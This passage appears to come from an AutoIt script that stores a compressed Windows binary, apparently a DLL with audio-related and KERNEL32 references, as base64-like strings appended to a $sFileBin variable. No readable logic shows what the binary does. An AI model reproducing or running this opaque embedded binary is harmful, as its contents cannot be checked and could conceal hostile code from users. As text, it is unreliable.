2DCeQsEASCA4VnDIAB0ilBlytzVgMQj8AAlBbpQWYDAMzAAjBxAygAZOjHBPTBB3ADBACgyAkm6gMAPIPACREAzuwDANbACnLewABA78ATwQDAC0ZVwABgwABwwAB8wACIVcAAnsAAsMAAxMAA2AXAAPTAABLrAwAmVcAAMsAAQsAAWMAAbFXAAH7AAIzAAJjAAKZVwACwwADIwADYwADwVcAA/MAABsAeEsAAJFXAADTAAErAAFrAAGxVwACEwACcwACowAC0VcAAwsAATsAm4MAB7kHAAADtAwAYwAAqVcAAOMAARsAAVMAAYlXAAHLAAIDAAJrAALIVwADMwADmwAAA7gNUABDAACbAADbAAEhVwABawABswAB6wACiVcAAssAAwsAA1MAA6NXAAPjAAArAHRrAAAEAqrzASazEVgLAPxbAAAHCtAB0aW1lU2UAdEV2ZW50AABClcIDS2lsbAMEVwBJTk1NLmRsbAAAIQRTbGVlcAAAvQJJbnRlcgBsb2NrZWRFeABjaGFuZ2UAS4BFUk5FTDMyggoAABAAQ29DcmUAYXRlSW5zdGGIbmNlIDwAT2zAAQBpdGlhbGl6ZRAAb2xlxAUaA00AdWx0aUJ5dGUAVG9XaWRlQ2gAYXIATwJHZXSAU3lzdGVtVEASQEFzRmlsZSEBAATmASADTGFzdEUAcnJvcgAAoQKASGVhcEZyZaAMkp1iAUFswBMAreEEkEN1cnIAGVRowBFAZElkAABvogJvAG1tYW5kTGluAGVBAC0EVGVyCG1pbsAVUHJvY8Blc3MAAKloB4UCkD4EVW6gHWRs4h7AZXB0' $sFileBin &= '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' $sFileBin &= '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' $sFileBin &= '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' $sFileBin &= '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